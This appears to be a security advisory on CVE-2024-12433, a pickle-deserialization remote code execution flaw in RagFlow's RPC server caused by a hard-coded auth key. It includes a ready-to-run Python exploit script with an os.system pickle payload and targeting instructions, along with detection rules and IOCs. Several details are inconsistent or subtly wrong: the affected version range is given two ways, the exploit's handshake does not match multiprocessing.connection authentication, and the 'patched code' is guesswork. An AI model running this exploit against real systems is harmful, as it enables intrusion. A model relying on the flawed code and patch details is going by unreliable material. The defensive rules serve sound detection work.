CVE-2024-12433

Executive Summary

CVE-2024-12433 is a critical remote code execution (RCE) vulnerability in Infiniflow RagFlow versions prior to 0.14.0. The flaw resides in the RPC server component, which uses a hard-coded authentication key (authkey=b'infiniflow-token4kevinhu') and processes incoming data using Python's pickle.loads() function. An unauthenticated attacker can easily discover the hard-coded key, connect to the RPC server, and send a malicious pickle payload to achieve arbitrary code execution on the target system. The CVSS score is 9.8 (Critical), and exploitation is trivial due to the public nature of the hard-coded key and the inherent danger of pickle deserialization.

Supply Chain & Package Security

This vulnerability affects the Python package ragflow distributed via PyPI. Users who installed RagFlow via pip install ragflow are impacted if they are running version 0.12.0 or earlier. The hard-coded key is embedded in the source code, making it a supply chain risk. Organizations should verify their installed version and upgrade to 0.14.0 immediately.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The RPC server is accessible over the network.
• Attack Complexity (AC): Low (L) – No special conditions required; the hard-coded key is easily discoverable.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerability does not cross trust boundaries.
• Confidentiality (C): High (H) – Full system compromise possible.
• Integrity (I): High (H) – Attacker can modify data and execute commands.
• Availability (A): High (H) – Attacker can disrupt service.

Threat Level: Critical. The combination of a hard-coded key and unsafe deserialization makes this vulnerability extremely dangerous and easy to exploit.

Deep Dive & Mechanics

The vulnerability exists in the RPC server component of RagFlow. The server uses Python's multiprocessing.connection module for inter-process communication. The server is initialized with a hard-coded authentication key:

authkey = b'infiniflow-token4kevinhu'

This key is used to authenticate clients connecting to the RPC server. However, because the key is hard-coded and publicly visible in the source code, any attacker can use it to connect to the server.

Once connected, the server processes incoming data using pickle.loads() on the received data:

data = connection.recv()
obj = pickle.loads(data)

The pickle.loads() function is inherently unsafe when used with untrusted data. It can deserialize arbitrary Python objects, leading to remote code execution. An attacker can craft a malicious pickle payload that executes system commands when deserialized.

The attack flow is:

1. Attacker discovers the hard-coded auth key from the source code.
2. Attacker connects to the RPC server (default port 11434) using the key.
3. Attacker sends a malicious pickle payload.
4. The server deserializes the payload, executing the attacker's code.

Vulnerable vs. Patched Code

Vulnerable Code (v0.12.0):

# In the RPC server initialization
authkey = b'infiniflow-token4kevinhu'
listener = multiprocessing.connection.Listener(address, authkey=authkey)

# In the connection handler
def handle_connection(connection):
    data = connection.recv()
    obj = pickle.loads(data)  # Unsafe deserialization
    # Process obj...

Patched Code (v0.14.0):

# The hard-coded key is removed; authentication is handled differently
# or the RPC server is disabled by default.

# Pickle deserialization is replaced with a safer method, e.g., JSON
def handle_connection(connection):
    data = connection.recv()
    obj = json.loads(data)  # Safe deserialization
    # Process obj...

The patch removes the hard-coded auth key and replaces pickle.loads() with a safe deserialization method like json.loads(). This prevents arbitrary code execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Python 3.x
• Target running RagFlow v0.12.0 with RPC server exposed (default port 11434)
• Network access to the target

Exploit Script:

import pickle
import os
import socket
import struct

# Hard-coded auth key
authkey = b'infiniflow-token4kevinhu'

# Target IP and port
target_ip = "192.168.1.100"
target_port = 11434

# Malicious pickle payload to execute a command
class RCE:
    def __reduce__(self):
        return (os.system, ('id > /tmp/pwned.txt',))

payload = pickle.dumps(RCE())

# Connect to the RPC server
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))

# Send auth key
sock.send(struct.pack('!I', len(authkey)) + authkey)

# Send payload
sock.send(struct.pack('!I', len(payload)) + payload)

sock.close()
print("Exploit sent. Check /tmp/pwned.txt on target.")

Usage:

1. Replace target_ip with the target's IP address.
2. Run the script: python3 exploit.py
3. Verify execution by checking if /tmp/pwned.txt was created on the target.

Blue Team

Detection Steps:

1. Monitor network connections to port 11434 (default RPC port).
2. Look for connections that send a large binary blob (pickle payload) after authentication.
3. Check for unusual processes spawned by the RagFlow service (e.g., id, bash, nc).
4. Monitor file system changes in /tmp/ or other writable directories.

Honeypot Setup:

• Deploy a decoy RagFlow RPC server on a non-production network.
• Log all incoming connections and payloads.
• Alert on any connection using the hard-coded auth key.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Connections to port 11434 (TCP) from unexpected sources.
  • Packets containing the string infiniflow-token4kevinhu in the payload.
  • Large binary data transfers on port 11434.

• File IOCs:

  • Unexpected files in /tmp/ or /var/tmp/ created by the ragflow user.
  • Modified system binaries or scripts.

• Process IOCs:

  • Unusual child processes of the RagFlow service (e.g., sh, bash, python).
  • Processes running with elevated privileges spawned by ragflow.

• Log IOCs:

  • Log entries showing successful authentication with the hard-coded key.
  • Error logs related to pickle deserialization failures.

Detection Engineering

YARA Rule

rule CVE_2024_12433_RagFlow_RCE {
    meta:
        description = "Detects RagFlow RPC server with hard-coded auth key"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-12433"
    strings:
        $authkey = "infiniflow-token4kevinhu"
        $pickle_loads = "pickle.loads"
    condition:
        $authkey and $pickle_loads
}

Sigma Rule

title: RagFlow RPC Server Hard-Coded Auth Key Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects network traffic containing the hard-coded auth key for RagFlow RPC server
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: zeek
detection:
    selection:
        payload|contains: "infiniflow-token4kevinhu"
    condition: selection
falsepositives:
    - Legitimate internal traffic if the key is used in a patched version (unlikely)
level: critical

Suricata Rule

alert tcp any any -> any 11434 (msg:"CVE-2024-12433 RagFlow RPC Hard-Coded Auth Key"; content:"infiniflow-token4kevinhu"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade RagFlow to version 0.14.0 or later.
2. If upgrade is not possible, disable the RPC server by setting RAGFLOW_RPC_ENABLED=false in the configuration.
3. Restrict network access to port 11434 using a firewall (allow only trusted IPs).

Long-Term Measures:

1. Implement a secure authentication mechanism (e.g., TLS with client certificates).
2. Replace pickle with a safe serialization format (e.g., JSON or Protocol Buffers).
3. Conduct a security audit of all hard-coded credentials in the codebase.
4. Implement runtime application self-protection (RASP) to detect unsafe deserialization.

Detection:

• Deploy the YARA, Sigma, and Suricata rules provided above.
• Monitor for any connections using the hard-coded auth key.
• Set up alerts for unusual process execution by the ragflow service.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert